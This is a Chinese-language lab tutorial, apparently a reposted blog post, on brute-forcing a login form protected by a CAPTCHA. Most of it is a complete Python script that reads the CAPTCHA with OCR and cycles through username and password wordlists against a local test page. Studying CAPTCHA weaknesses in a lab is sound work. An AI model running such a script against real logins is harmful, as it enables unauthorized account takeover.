python-暴力破解(突破驗證碼)


實驗環境:本地靶場

 


驗證碼錯誤時,服務器端會重新生成驗證碼,不能使用burpsuite進行暴力破解;

我們使用python腳本對驗證碼進行識別,然后進行暴力破解。

驗證碼圖片識別:

from PIL import Image
import tesserocr



s = requests.session()

headers  = {'User-Agent':'Mozilla/5.0'}

def getCode():        # 獲取驗證碼
    res = s.get('http://127.0.0.1/publish/showvcode.php?').content # 打開圖片url返回圖片二進制數據
    with open('verify.jpg','wb') as v:
        v.write(res)                        # 將二進制數據寫入圖片
    # 重新打開生成的文件
    image = Image.open('verify.jpg')
    # 轉灰色
    image = image.convert('L')
    # 二值化
    threshold = 1
    table = []
    for i in range(256):
        if i < threshold:
            table.append(0)
        else:
            table.append(1)
    image = image.point(table,'1')
    # 顯示圖片
    image.show()
    # 識別圖片文字
    code = tesserocr.image_to_text(image)
    print(code.strip('\n'))
getCode()

 

原圖一般為彩色,對識別有一定的影響,所以要先對圖片進行一些特殊處理:轉灰色、二值化等;

處理過的驗證碼圖片:


識別結果:


在識別驗證碼可能會存在一些不准確的概率,不過影響不大;

之后就是將識別后的驗證碼,與讀取的用戶名,密碼內容,傳送給服務器,循環暴力破解。

完整腳本:

from PIL import Image
import tesserocr
import requests
import re

#
#
s = requests.session()
url = 'http://127.0.0.1/check_login_code.php'  # 登錄頁面url
headers  = {'User-Agent':'Mozilla/5.0'}
#

def getCode():                  # 獲取驗證碼
    res = s.get('http://127.0.0.1/publish/showvcode.php?').content # 打開圖片url返回圖片二進制數據
    with open('verify.jpg','wb') as v:
        v.write(res)        # 將二進制數據寫入圖片
    # 重新打開生成的文件
    image = Image.open('verify.jpg')
    # 轉灰色
    image = image.convert('L')
    # 二值化
    threshold = 1
    table = []
    for i in range(256):
        if i < threshold:
            table.append(0)
        else:
            table.append(1)
    image = image.point(table,'1')
    # 顯示圖片
    #image.show()
    # 識別圖片文字
    code = tesserocr.image_to_text(image)
    # print(code.strip('\n'))
    return code.strip('\n')
#getCode()

def getResult(headers,data):            # 發送請求
    r = s.post(url,headers=headers,data=data)

    if re.search('success',r.text)!=None:
        print('找到正確密碼:',data)
        return 1
    else:
        if re.search('驗證碼',r.text) != None:
            return 2

def putPass(user,pwd):          # 傳遞參數,發送請求
    code = getCode()  # 獲取驗證碼
    data = {"user":user,"pwd":pwd,"code":code}
    #print(data)
    result = getResult(headers,data)
    if result ==1:
        return 1
    elif result ==2:
        putPass(user,pwd)
    else:
        return 3

def getUserPass():      # 獲取字典中的用戶名密碼
    # 打開賬號文件
    userfile = open('user.txt',mode='r')
    for user in userfile:
        user = user.strip('\n')     # 去掉換行符
        # 打開密碼文件
        passfile = open('pass.txt',mode='r')
        # 循環破解密碼

        for pwd in passfile:
            pwd = pwd.strip('\n')

            flag = putPass(user,pwd)

        passfile.close()
    userfile.close()

getUserPass()

 

運行結果:


聲明:本篇文章僅作學習交流,請勿用於違法行為!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM